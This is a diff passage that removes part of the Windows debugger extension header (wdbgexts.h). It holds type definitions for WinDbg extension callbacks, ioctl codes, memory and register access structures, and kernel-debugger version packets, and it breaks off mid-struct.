-typedef unsigned __int64 ULONGLONG;
-typedef ULONGLONG *PULONGLONG;
-#endif
-
-#ifndef __specstrings
-// Should include SpecStrings.h to get proper definitions.
-#define __field_ecount_opt(x)
-#endif
-
-#define WDBGEXTS_MAXSIZE_T ((SIZE_T)~((SIZE_T)0))
-
-typedef
-VOID
-(WDBGAPIV*PWINDBG_OUTPUT_ROUTINE)(
- PCSTR lpFormat,
- ...
- );
-
-typedef
-ULONG_PTR
-(WDBGAPI*PWINDBG_GET_EXPRESSION)(
- PCSTR lpExpression
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_GET_EXPRESSION32)(
- PCSTR lpExpression
- );
-
-typedef
-ULONG64
-(WDBGAPI*PWINDBG_GET_EXPRESSION64)(
- PCSTR lpExpression
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_GET_SYMBOL)(
- PVOID offset,
- PCHAR pchBuffer,
- ULONG_PTR *pDisplacement
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_GET_SYMBOL32)(
- ULONG offset,
- PCHAR pchBuffer,
- PULONG pDisplacement
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_GET_SYMBOL64)(
- ULONG64 offset,
- PCHAR pchBuffer,
- PULONG64 pDisplacement
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_DISASM)(
- ULONG_PTR *lpOffset,
- PCSTR lpBuffer,
- ULONG fShowEffectiveAddress
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_DISASM32)(
- ULONG *lpOffset,
- PCSTR lpBuffer,
- ULONG fShowEffectiveAddress
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_DISASM64)(
- ULONG64 *lpOffset,
- PCSTR lpBuffer,
- ULONG fShowEffectiveAddress
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_CHECK_CONTROL_C)(
- VOID
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE)(
- ULONG_PTR offset,
- PVOID lpBuffer,
- ULONG cb,
- PULONG lpcbBytesRead
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE32)(
- ULONG offset,
- PVOID lpBuffer,
- ULONG cb,
- PULONG lpcbBytesRead
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE64)(
- ULONG64 offset,
- PVOID lpBuffer,
- ULONG cb,
- PULONG lpcbBytesRead
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE)(
- ULONG_PTR offset,
- LPCVOID lpBuffer,
- ULONG cb,
- PULONG lpcbBytesWritten
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32)(
- ULONG offset,
- LPCVOID lpBuffer,
- ULONG cb,
- PULONG lpcbBytesWritten
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE64)(
- ULONG64 offset,
- LPCVOID lpBuffer,
- ULONG cb,
- PULONG lpcbBytesWritten
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_GET_THREAD_CONTEXT_ROUTINE)(
- ULONG Processor,
- PCONTEXT lpContext,
- ULONG cbSizeOfContext
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_SET_THREAD_CONTEXT_ROUTINE)(
- ULONG Processor,
- PCONTEXT lpContext,
- ULONG cbSizeOfContext
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_IOCTL_ROUTINE)(
- USHORT IoctlType,
- PVOID lpvData,
- ULONG cbSize
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_OLDKD_READ_PHYSICAL_MEMORY)(
- ULONGLONG address,
- PVOID buffer,
- ULONG count,
- PULONG bytesread
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_OLDKD_WRITE_PHYSICAL_MEMORY)(
- ULONGLONG address,
- PVOID buffer,
- ULONG length,
- PULONG byteswritten
- );
-
-
-typedef struct _EXTSTACKTRACE {
- ULONG FramePointer;
- ULONG ProgramCounter;
- ULONG ReturnAddress;
- ULONG Args[4];
-} EXTSTACKTRACE, *PEXTSTACKTRACE;
-
-typedef struct _EXTSTACKTRACE32 {
- ULONG FramePointer;
- ULONG ProgramCounter;
- ULONG ReturnAddress;
- ULONG Args[4];
-} EXTSTACKTRACE32, *PEXTSTACKTRACE32;
-
-typedef struct _EXTSTACKTRACE64 {
- ULONG64 FramePointer;
- ULONG64 ProgramCounter;
- ULONG64 ReturnAddress;
- ULONG64 Args[4];
-} EXTSTACKTRACE64, *PEXTSTACKTRACE64;
-
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE)(
- ULONG FramePointer,
- ULONG StackPointer,
- ULONG ProgramCounter,
- PEXTSTACKTRACE StackFrames,
- ULONG Frames
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE32)(
- ULONG FramePointer,
- ULONG StackPointer,
- ULONG ProgramCounter,
- PEXTSTACKTRACE32 StackFrames,
- ULONG Frames
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE64)(
- ULONG64 FramePointer,
- ULONG64 StackPointer,
- ULONG64 ProgramCounter,
- PEXTSTACKTRACE64 StackFrames,
- ULONG Frames
- );
-
-typedef struct _WINDBG_EXTENSION_APIS {
- ULONG nSize;
- PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;
- PWINDBG_GET_EXPRESSION lpGetExpressionRoutine;
- PWINDBG_GET_SYMBOL lpGetSymbolRoutine;
- PWINDBG_DISASM lpDisasmRoutine;
- PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;
- PWINDBG_READ_PROCESS_MEMORY_ROUTINE lpReadProcessMemoryRoutine;
- PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE lpWriteProcessMemoryRoutine;
- PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine;
- PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine;
- PWINDBG_IOCTL_ROUTINE lpIoctlRoutine;
- PWINDBG_STACKTRACE_ROUTINE lpStackTraceRoutine;
-} WINDBG_EXTENSION_APIS, *PWINDBG_EXTENSION_APIS;
-
-typedef struct _WINDBG_EXTENSION_APIS32 {
- ULONG nSize;
- PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;
- PWINDBG_GET_EXPRESSION32 lpGetExpressionRoutine;
- PWINDBG_GET_SYMBOL32 lpGetSymbolRoutine;
- PWINDBG_DISASM32 lpDisasmRoutine;
- PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;
- PWINDBG_READ_PROCESS_MEMORY_ROUTINE32 lpReadProcessMemoryRoutine;
- PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32 lpWriteProcessMemoryRoutine;
- PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine;
- PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine;
- PWINDBG_IOCTL_ROUTINE lpIoctlRoutine;
- PWINDBG_STACKTRACE_ROUTINE32 lpStackTraceRoutine;
-} WINDBG_EXTENSION_APIS32, *PWINDBG_EXTENSION_APIS32;
-
-typedef struct _WINDBG_EXTENSION_APIS64 {
- ULONG nSize;
- PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;
- PWINDBG_GET_EXPRESSION64 lpGetExpressionRoutine;
- PWINDBG_GET_SYMBOL64 lpGetSymbolRoutine;
- PWINDBG_DISASM64 lpDisasmRoutine;
- PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;
- PWINDBG_READ_PROCESS_MEMORY_ROUTINE64 lpReadProcessMemoryRoutine;
- PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE64 lpWriteProcessMemoryRoutine;
- PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine;
- PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine;
- PWINDBG_IOCTL_ROUTINE lpIoctlRoutine;
- PWINDBG_STACKTRACE_ROUTINE64 lpStackTraceRoutine;
-} WINDBG_EXTENSION_APIS64, *PWINDBG_EXTENSION_APIS64;
-
-
-typedef struct _WINDBG_OLD_EXTENSION_APIS {
- ULONG nSize;
- PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;
- PWINDBG_GET_EXPRESSION lpGetExpressionRoutine;
- PWINDBG_GET_SYMBOL lpGetSymbolRoutine;
- PWINDBG_DISASM lpDisasmRoutine;
- PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;
-} WINDBG_OLD_EXTENSION_APIS, *PWINDBG_OLD_EXTENSION_APIS;
-
-typedef struct _WINDBG_OLDKD_EXTENSION_APIS {
- ULONG nSize;
- PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;
- PWINDBG_GET_EXPRESSION32 lpGetExpressionRoutine;
- PWINDBG_GET_SYMBOL32 lpGetSymbolRoutine;
- PWINDBG_DISASM32 lpDisasmRoutine;
- PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;
- PWINDBG_READ_PROCESS_MEMORY_ROUTINE32 lpReadVirtualMemRoutine;
- PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32 lpWriteVirtualMemRoutine;
- PWINDBG_OLDKD_READ_PHYSICAL_MEMORY lpReadPhysicalMemRoutine;
- PWINDBG_OLDKD_WRITE_PHYSICAL_MEMORY lpWritePhysicalMemRoutine;
-} WINDBG_OLDKD_EXTENSION_APIS, *PWINDBG_OLDKD_EXTENSION_APIS;
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_OLD_EXTENSION_ROUTINE)(
- ULONG dwCurrentPc,
- PWINDBG_EXTENSION_APIS lpExtensionApis,
- PCSTR lpArgumentString
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_EXTENSION_ROUTINE)(
- HANDLE hCurrentProcess,
- HANDLE hCurrentThread,
- ULONG dwCurrentPc,
- ULONG dwProcessor,
- PCSTR lpArgumentString
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_EXTENSION_ROUTINE32)(
- HANDLE hCurrentProcess,
- HANDLE hCurrentThread,
- ULONG dwCurrentPc,
- ULONG dwProcessor,
- PCSTR lpArgumentString
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_EXTENSION_ROUTINE64)(
- HANDLE hCurrentProcess,
- HANDLE hCurrentThread,
- ULONG64 dwCurrentPc,
- ULONG dwProcessor,
- PCSTR lpArgumentString
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_OLDKD_EXTENSION_ROUTINE)(
- ULONG dwCurrentPc,
- PWINDBG_OLDKD_EXTENSION_APIS lpExtensionApis,
- PCSTR lpArgumentString
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT)(
- PWINDBG_EXTENSION_APIS lpExtensionApis,
- USHORT MajorVersion,
- USHORT MinorVersion
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT32)(
- PWINDBG_EXTENSION_APIS32 lpExtensionApis,
- USHORT MajorVersion,
- USHORT MinorVersion
- );
-
-typedef
-VOID
-(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT64)(
- PWINDBG_EXTENSION_APIS64 lpExtensionApis,
- USHORT MajorVersion,
- USHORT MinorVersion
- );
-
-typedef
-ULONG
-(WDBGAPI*PWINDBG_CHECK_VERSION)(
- VOID
- );
-
-#define EXT_API_VERSION_NUMBER 5
-#define EXT_API_VERSION_NUMBER32 5
-#define EXT_API_VERSION_NUMBER64 6
-
-typedef struct EXT_API_VERSION {
- USHORT MajorVersion;
- USHORT MinorVersion;
- USHORT Revision;
- USHORT Reserved;
-} EXT_API_VERSION, *LPEXT_API_VERSION;
-
-typedef
-LPEXT_API_VERSION
-(WDBGAPI*PWINDBG_EXTENSION_API_VERSION)(
- VOID
- );
-
-#define IG_KD_CONTEXT 1
-#define IG_READ_CONTROL_SPACE 2
-#define IG_WRITE_CONTROL_SPACE 3
-#define IG_READ_IO_SPACE 4
-#define IG_WRITE_IO_SPACE 5
-#define IG_READ_PHYSICAL 6
-#define IG_WRITE_PHYSICAL 7
-#define IG_READ_IO_SPACE_EX 8
-#define IG_WRITE_IO_SPACE_EX 9
-#define IG_KSTACK_HELP 10 // obsolete
-#define IG_SET_THREAD 11
-#define IG_READ_MSR 12
-#define IG_WRITE_MSR 13
-#define IG_GET_DEBUGGER_DATA 14
-#define IG_GET_KERNEL_VERSION 15
-#define IG_RELOAD_SYMBOLS 16
-#define IG_GET_SET_SYMPATH 17
-#define IG_GET_EXCEPTION_RECORD 18
-#define IG_IS_PTR64 19
-#define IG_GET_BUS_DATA 20
-#define IG_SET_BUS_DATA 21
-#define IG_DUMP_SYMBOL_INFO 22
-#define IG_LOWMEM_CHECK 23
-#define IG_SEARCH_MEMORY 24
-#define IG_GET_CURRENT_THREAD 25
-#define IG_GET_CURRENT_PROCESS 26
-#define IG_GET_TYPE_SIZE 27
-#define IG_GET_CURRENT_PROCESS_HANDLE 28
-#define IG_GET_INPUT_LINE 29
-#define IG_GET_EXPRESSION_EX 30
-#define IG_TRANSLATE_VIRTUAL_TO_PHYSICAL 31
-#define IG_GET_CACHE_SIZE 32
-#define IG_READ_PHYSICAL_WITH_FLAGS 33
-#define IG_WRITE_PHYSICAL_WITH_FLAGS 34
-#define IG_POINTER_SEARCH_PHYSICAL 35
-#define IG_OBSOLETE_PLACEHOLDER_36 36
-#define IG_GET_THREAD_OS_INFO 37
-#define IG_GET_CLR_DATA_INTERFACE 38
-#define IG_MATCH_PATTERN_A 39
-#define IG_FIND_FILE 40
-#define IG_TYPED_DATA_OBSOLETE 41
-#define IG_QUERY_TARGET_INTERFACE 42
-#define IG_TYPED_DATA 43
-#define IG_DISASSEMBLE_BUFFER 44
-#define IG_GET_ANY_MODULE_IN_RANGE 45
-#define IG_VIRTUAL_TO_PHYSICAL 46
-#define IG_PHYSICAL_TO_VIRTUAL 47
-#define IG_GET_CONTEXT_EX 48
-
-#define IG_GET_TEB_ADDRESS 128
-#define IG_GET_PEB_ADDRESS 129
-
-typedef struct _PROCESSORINFO {
- USHORT Processor; // current processor
- USHORT NumberProcessors; // total number of processors
-} PROCESSORINFO, *PPROCESSORINFO;
-
-typedef struct _READCONTROLSPACE {
- USHORT Processor;
- ULONG Address;
- ULONG BufLen;
- UCHAR Buf[1];
-} READCONTROLSPACE, *PREADCONTROLSPACE;
-
-typedef struct _READCONTROLSPACE32 {
- USHORT Processor;
- ULONG Address;
- ULONG BufLen;
- UCHAR Buf[1];
-} READCONTROLSPACE32, *PREADCONTROLSPACE32;
-
-typedef struct _READCONTROLSPACE64 {
- USHORT Processor;
- ULONG64 Address;
- ULONG BufLen;
- UCHAR Buf[1];
-} READCONTROLSPACE64, *PREADCONTROLSPACE64;
-
-typedef struct _IOSPACE {
- ULONG Address;
- ULONG Length; // 1, 2, or 4 bytes
- ULONG Data;
-} IOSPACE, *PIOSPACE;
-
-typedef struct _IOSPACE32 {
- ULONG Address;
- ULONG Length; // 1, 2, or 4 bytes
- ULONG Data;
-} IOSPACE32, *PIOSPACE32;
-
-typedef struct _IOSPACE64 {
- ULONG64 Address;
- ULONG Length; // 1, 2, or 4 bytes
- ULONG Data;
-} IOSPACE64, *PIOSPACE64;
-
-typedef struct _IOSPACE_EX {
- ULONG Address;
- ULONG Length; // 1, 2, or 4 bytes
- ULONG Data;
- ULONG InterfaceType;
- ULONG BusNumber;
- ULONG AddressSpace;
-} IOSPACE_EX, *PIOSPACE_EX;
-
-typedef struct _IOSPACE_EX32 {
- ULONG Address;
- ULONG Length; // 1, 2, or 4 bytes
- ULONG Data;
- ULONG InterfaceType;
- ULONG BusNumber;
- ULONG AddressSpace;
-} IOSPACE_EX32, *PIOSPACE_EX32;
-
-typedef struct _IOSPACE_EX64 {
- ULONG64 Address;
- ULONG Length; // 1, 2, or 4 bytes
- ULONG Data;
- ULONG InterfaceType;
- ULONG BusNumber;
- ULONG AddressSpace;
-} IOSPACE_EX64, *PIOSPACE_EX64;
-
-typedef struct _GETSETBUSDATA {
- ULONG BusDataType;
- ULONG BusNumber;
- ULONG SlotNumber;
- PVOID Buffer;
- ULONG Offset;
- ULONG Length;
-} BUSDATA, *PBUSDATA;
-
-typedef struct _SEARCHMEMORY {
- ULONG64 SearchAddress;
- ULONG64 SearchLength;
- ULONG64 FoundAddress;
- ULONG PatternLength;
- PVOID Pattern;
-} SEARCHMEMORY, *PSEARCHMEMORY;
-
-typedef struct _PHYSICAL {
- ULONGLONG Address;
- ULONG BufLen;
- UCHAR Buf[1];
-} PHYSICAL, *PPHYSICAL;
-
-#define PHYS_FLAG_DEFAULT 0
-#define PHYS_FLAG_CACHED 1
-#define PHYS_FLAG_UNCACHED 2
-#define PHYS_FLAG_WRITE_COMBINED 3
-
-typedef struct _PHYSICAL_WITH_FLAGS {
- ULONGLONG Address;
- ULONG BufLen;
- ULONG Flags;
- UCHAR Buf[1];
-} PHYSICAL_WITH_FLAGS, *PPHYSICAL_WITH_FLAGS;
-
-typedef struct _READ_WRITE_MSR {
- ULONG Msr;
- LONGLONG Value;
-} READ_WRITE_MSR, *PREAD_WRITE_MSR;
-
-typedef struct _GET_SET_SYMPATH {
- PCSTR Args; // args to !reload command
- PSTR Result; // returns new path
- int Length; // Length of result buffer
-} GET_SET_SYMPATH, *PGET_SET_SYMPATH;
-
-typedef struct _GET_TEB_ADDRESS {
- ULONGLONG Address;
-} GET_TEB_ADDRESS, *PGET_TEB_ADDRESS;
-
-typedef struct _GET_PEB_ADDRESS {
- ULONG64 CurrentThread;
- ULONGLONG Address;
-} GET_PEB_ADDRESS, *PGET_PEB_ADDRESS;
-
-typedef struct _GET_CURRENT_THREAD_ADDRESS {
- ULONG Processor;
- ULONG64 Address;
-} GET_CURRENT_THREAD_ADDRESS, *PGET_CURRENT_THREAD_ADDRESS;
-
-typedef struct _GET_CURRENT_PROCESS_ADDRESS {
- ULONG Processor;
- ULONG64 CurrentThread;
- ULONG64 Address;
-} GET_CURRENT_PROCESS_ADDRESS, *PGET_CURRENT_PROCESS_ADDRESS;
-
-typedef struct _GET_INPUT_LINE {
- PCSTR Prompt;
- PSTR Buffer;
- ULONG BufferSize;
- ULONG InputSize;
-} GET_INPUT_LINE, *PGET_INPUT_LINE;
-
-typedef struct _GET_EXPRESSION_EX {
- PCSTR Expression;
- PCSTR Remainder;
- ULONG64 Value;
-} GET_EXPRESSION_EX, *PGET_EXPRESSION_EX;
-
-typedef struct _TRANSLATE_VIRTUAL_TO_PHYSICAL {
- ULONG64 Virtual;
- ULONG64 Physical;
-} TRANSLATE_VIRTUAL_TO_PHYSICAL, *PTRANSLATE_VIRTUAL_TO_PHYSICAL;
-
-typedef struct _VIRTUAL_TO_PHYSICAL {
- ULONG Status;
- ULONG Size;
- ULONG64 PdeAddress;
- ULONG64 Virtual;
- ULONG64 Physical;
-} VIRTUAL_TO_PHYSICAL, *PVIRTUAL_TO_PHYSICAL;
-
-typedef struct _PHYSICAL_TO_VIRTUAL {
- ULONG Status;
- ULONG Size;
- ULONG64 PdeAddress;
-} PHYSICAL_TO_VIRTUAL, *PPHYSICAL_TO_VIRTUAL;
-
-typedef struct _GET_CONTEXT_EX {
- ULONG Status;
- ULONG ContextSize;
- PVOID pContext;
-} GET_CONTEXT_EX, *PGET_CONTEXT_EX;
-
-#define PTR_SEARCH_PHYS_ALL_HITS 0x00000001
-#define PTR_SEARCH_PHYS_PTE 0x00000002
-#define PTR_SEARCH_PHYS_RANGE_CHECK_ONLY 0x00000004
-
-#define PTR_SEARCH_PHYS_SIZE_SHIFT 3
-#define PTR_SEARCH_PHYS_SIZE_MASK (0xf << PTR_SEARCH_PHYS_SIZE_SHIFT)
-
-#define PTR_SEARCH_NO_SYMBOL_CHECK 0x80000000
-
-typedef struct _POINTER_SEARCH_PHYSICAL {
- IN ULONG64 Offset;
- IN ULONG64 Length;
- IN ULONG64 PointerMin;
- IN ULONG64 PointerMax;
- IN ULONG Flags;
- OUT PULONG64 MatchOffsets;
- IN ULONG MatchOffsetsSize;
- OUT ULONG MatchOffsetsCount;
-} POINTER_SEARCH_PHYSICAL, *PPOINTER_SEARCH_PHYSICAL;
-
-typedef struct _WDBGEXTS_THREAD_OS_INFO {
- // System thread ID input.
- ULONG ThreadId;
-
- //
- // Output information.
- //
-
- // Exit status is STILL_ACTIVE by default.
- ULONG ExitStatus;
- // Priority class is zero if not known.
- ULONG PriorityClass;
- // Priority defaults to normal.
- ULONG Priority;
- // Times can be zero if not known.
- ULONG64 CreateTime;
- ULONG64 ExitTime;
- ULONG64 KernelTime;
- ULONG64 UserTime;
- // Start offset is zero if not known.
- ULONG64 StartOffset;
- // Affinity is zero if not known.
- ULONG64 Affinity;
-} WDBGEXTS_THREAD_OS_INFO, *PWDBGEXTS_THREAD_OS_INFO;
-
-typedef struct _WDBGEXTS_CLR_DATA_INTERFACE {
- // Interface requested.
- const IID* Iid;
- // Interface pointer return.
- PVOID Iface;
-} WDBGEXTS_CLR_DATA_INTERFACE, *PWDBGEXTS_CLR_DATA_INTERFACE;
-
-typedef struct _EXT_MATCH_PATTERN_A {
- IN PCSTR Str;
- IN PCSTR Pattern;
- IN ULONG CaseSensitive;
-} EXT_MATCH_PATTERN_A, *PEXT_MATCH_PATTERN_A;
-
-#define EXT_FIND_FILE_ALLOW_GIVEN_PATH 0x00000001
-
-typedef struct _EXT_FIND_FILE {
- IN PCWSTR FileName;
- IN ULONG64 IndexedSize;
- IN ULONG ImageTimeDateStamp;
- // Pass zero to ignore.
- IN ULONG ImageCheckSum;
- IN OPTIONAL PVOID ExtraInfo;
- IN ULONG ExtraInfoSize;
- IN ULONG Flags;
- // Free with UnmapViewOfFile.
- OUT PVOID FileMapping;
- OUT ULONG64 FileMappingSize;
- // Free with CloseHandle.
- OUT HANDLE FileHandle;
- // Must be at least MAX_PATH characters if set.
- OUT OPTIONAL PWSTR FoundFileName;
- OUT ULONG FoundFileNameChars;
-} EXT_FIND_FILE, *PEXT_FIND_FILE;
-
-#define DEBUG_TYPED_DATA_IS_IN_MEMORY 0x00000001
-#define DEBUG_TYPED_DATA_PHYSICAL_DEFAULT 0x00000002
-#define DEBUG_TYPED_DATA_PHYSICAL_CACHED 0x00000004
-#define DEBUG_TYPED_DATA_PHYSICAL_UNCACHED 0x00000006
-#define DEBUG_TYPED_DATA_PHYSICAL_WRITE_COMBINED 0x00000008
-
-// Mask for all physical flags.
-#define DEBUG_TYPED_DATA_PHYSICAL_MEMORY 0x0000000e
-
-typedef struct _DEBUG_TYPED_DATA
-{
- ULONG64 ModBase;
- ULONG64 Offset;
- ULONG64 EngineHandle;
- ULONG64 Data;
- ULONG Size;
- ULONG Flags;
- ULONG TypeId;
- ULONG BaseTypeId;
- ULONG Tag;
- ULONG Register;
- ULONG64 Internal[9];
-} DEBUG_TYPED_DATA, *PDEBUG_TYPED_DATA;
-
-typedef enum _EXT_TDOP {
- EXT_TDOP_COPY,
- EXT_TDOP_RELEASE,
- EXT_TDOP_SET_FROM_EXPR,
- EXT_TDOP_SET_FROM_U64_EXPR,
- EXT_TDOP_GET_FIELD,
- EXT_TDOP_EVALUATE,
- EXT_TDOP_GET_TYPE_NAME,
- EXT_TDOP_OUTPUT_TYPE_NAME,
- EXT_TDOP_OUTPUT_SIMPLE_VALUE,
- EXT_TDOP_OUTPUT_FULL_VALUE,
- EXT_TDOP_HAS_FIELD,
- EXT_TDOP_GET_FIELD_OFFSET,
- EXT_TDOP_GET_ARRAY_ELEMENT,
- EXT_TDOP_GET_DEREFERENCE,
- EXT_TDOP_GET_TYPE_SIZE,
- EXT_TDOP_OUTPUT_TYPE_DEFINITION,
- EXT_TDOP_GET_POINTER_TO,
- EXT_TDOP_SET_FROM_TYPE_ID_AND_U64,
- EXT_TDOP_SET_PTR_FROM_TYPE_ID_AND_U64,
-
- EXT_TDOP_COUNT
-} EXT_TDOP;
-
-// EXT_TDF physical flags must match DEBUG_TYPED.
-#define EXT_TDF_PHYSICAL_DEFAULT 0x00000002
-#define EXT_TDF_PHYSICAL_CACHED 0x00000004
-#define EXT_TDF_PHYSICAL_UNCACHED 0x00000006
-#define EXT_TDF_PHYSICAL_WRITE_COMBINED 0x00000008
-#define EXT_TDF_PHYSICAL_MEMORY 0x0000000e
-
-// NOTE: Every DEBUG_TYPED_DATA should be released
-// via EXT_TDOP_RELEASE when it is no longer needed.
-typedef struct _EXT_TYPED_DATA {
- IN EXT_TDOP Operation;
- IN ULONG Flags;
- IN DEBUG_TYPED_DATA InData;
- OUT DEBUG_TYPED_DATA OutData;
- IN ULONG InStrIndex;
- IN ULONG In32;
- OUT ULONG Out32;
- IN ULONG64 In64;
- OUT ULONG64 Out64;
- OUT ULONG StrBufferIndex;
- IN ULONG StrBufferChars;
- OUT ULONG StrCharsNeeded;
- IN OUT ULONG DataBufferIndex;
- IN ULONG DataBufferBytes;
- OUT ULONG DataBytesNeeded;
- OUT HRESULT Status;
- // Must be zeroed.
- ULONG64 Reserved[8];
-} EXT_TYPED_DATA, *PEXT_TYPED_DATA;
-
-typedef struct _WDBGEXTS_QUERY_INTERFACE {
- // Interface requested.
- const IID* Iid;
- // Interface pointer return.
- PVOID Iface;
-} WDBGEXTS_QUERY_INTERFACE, *PWDBGEXTS_QUERY_INTERFACE;
-
-#define WDBGEXTS_ADDRESS_DEFAULT 0x00000000
-#define WDBGEXTS_ADDRESS_SEG16 0x00000001
-#define WDBGEXTS_ADDRESS_SEG32 0x00000002
-#define WDBGEXTS_ADDRESS_RESERVED0 0x80000000
-
-typedef struct _WDBGEXTS_DISASSEMBLE_BUFFER {
- IN ULONG64 InOffset;
- OUT ULONG64 OutOffset;
- // AddrFlags are from above.
- IN ULONG AddrFlags;
- // FormatFlags are from dbgeng's DEBUG_DISASM_*.
- IN ULONG FormatFlags;
- IN ULONG DataBufferBytes;
- IN ULONG DisasmBufferChars;
- IN OPTIONAL PVOID DataBuffer;
- OUT PWSTR DisasmBuffer;
- IN ULONG64 Reserved0[3];
-} WDBGEXTS_DISASSEMBLE_BUFFER, *PWDBGEXTS_DISASSEMBLE_BUFFER;
-
-typedef struct _WDBGEXTS_MODULE_IN_RANGE {
- IN ULONG64 Start;
- // Inclusive ending offset.
- IN ULONG64 End;
- OUT ULONG64 FoundModBase;
- OUT ULONG FoundModSize;
-} WDBGEXTS_MODULE_IN_RANGE, *PWDBGEXTS_MODULE_IN_RANGE;
-
-//
-// If DBGKD_VERS_FLAG_DATA is set in Flags, info should be retrieved from
-// the KDDEBUGGER_DATA block rather than from the DBGKD_GET_VERSION
-// packet. The data will remain in the version packet for a while to
-// reduce compatibility problems.
-//
-
-#define DBGKD_VERS_FLAG_MP 0x0001 // kernel is MP built
-#define DBGKD_VERS_FLAG_DATA 0x0002 // DebuggerDataList is valid
-#define DBGKD_VERS_FLAG_PTR64 0x0004 // native pointers are 64 bits
-#define DBGKD_VERS_FLAG_NOMM 0x0008 // No MM - don't decode PTEs
-#define DBGKD_VERS_FLAG_HSS 0x0010 // hardware stepping support
-#define DBGKD_VERS_FLAG_PARTITIONS 0x0020 // multiple OS partitions exist
-
-#define KDBG_TAG 'GBDK'
-
-//
-// KD version MajorVersion high-byte identifiers.
-//
-
-typedef enum _DBGKD_MAJOR_TYPES
-{
- DBGKD_MAJOR_NT,
- DBGKD_MAJOR_XBOX,
- DBGKD_MAJOR_BIG,
- DBGKD_MAJOR_EXDI,
- DBGKD_MAJOR_NTBD,
- DBGKD_MAJOR_EFI,
- DBGKD_MAJOR_TNT,
- DBGKD_MAJOR_SINGULARITY,
- DBGKD_MAJOR_HYPERVISOR,
- DBGKD_MAJOR_MIDORI,
- DBGKD_MAJOR_COUNT
-} DBGKD_MAJOR_TYPES;
-
-#define DBGKD_MAJOR_TYPE(MajorVersion) \
- ((DBGKD_MAJOR_TYPES)((MajorVersion) >> 8))
-
-
-// **********************************************************************
-// DO NOT CHANGE THESE 32 BIT STRUCTURES!
-// ONLY MAKE CHAGES TO THE 64 BIT VERSION BELOW!!
-// **********************************************************************
-
-//
-// The following structure has changed in more than pointer size.
-//
-// This is the version packet for pre-NT5 Beta 2 systems.
-// For now, it is also still used on x86
-//
-typedef struct _DBGKD_GET_VERSION32 {
- USHORT MajorVersion;
- USHORT MinorVersion;
- USHORT ProtocolVersion;
- USHORT Flags;
- ULONG KernBase;
- ULONG PsLoadedModuleList;
-
- USHORT MachineType;
-
- //
- // help for walking stacks with user callbacks:
- //
-
- //
- // The address of the thread structure is provided in the
- // WAIT_STATE_CHANGE packet. This is the offset from the base of
- // the thread structure to the pointer to the kernel stack frame
- // for the currently active usermode callback.
- //
-
- USHORT ThCallbackStack; // offset in thread data
-
- //
- // these values are offsets into that frame:
- //
-
- USHORT NextCallback; // saved pointer to next callback frame
- USHORT FramePointer; // saved frame pointer
-
- //
- // Address of the kernel callout routine.
- //
-
- ULONG KiCallUserMode; // kernel routine
-
- //
- // Address of the usermode entry point for callbacks.
- //
-
- ULONG KeUserCallbackDispatcher; // address in ntdll
-
- //
- // DbgBreakPointWithStatus is a function which takes a ULONG argument
- // and hits a breakpoint. This field contains the address of the
- // breakpoint instruction. When the debugger sees a breakpoint
- // at this address, it may retrieve the argument from the first
- // argument register, or on x86 the eax register.
- //
-
- ULONG BreakpointWithStatus; // address of breakpoint
-
- //
- // Components may register a debug data block for use by
- // debugger extensions. This is the address of the list head.
- //
-
- ULONG DebuggerDataList;
-
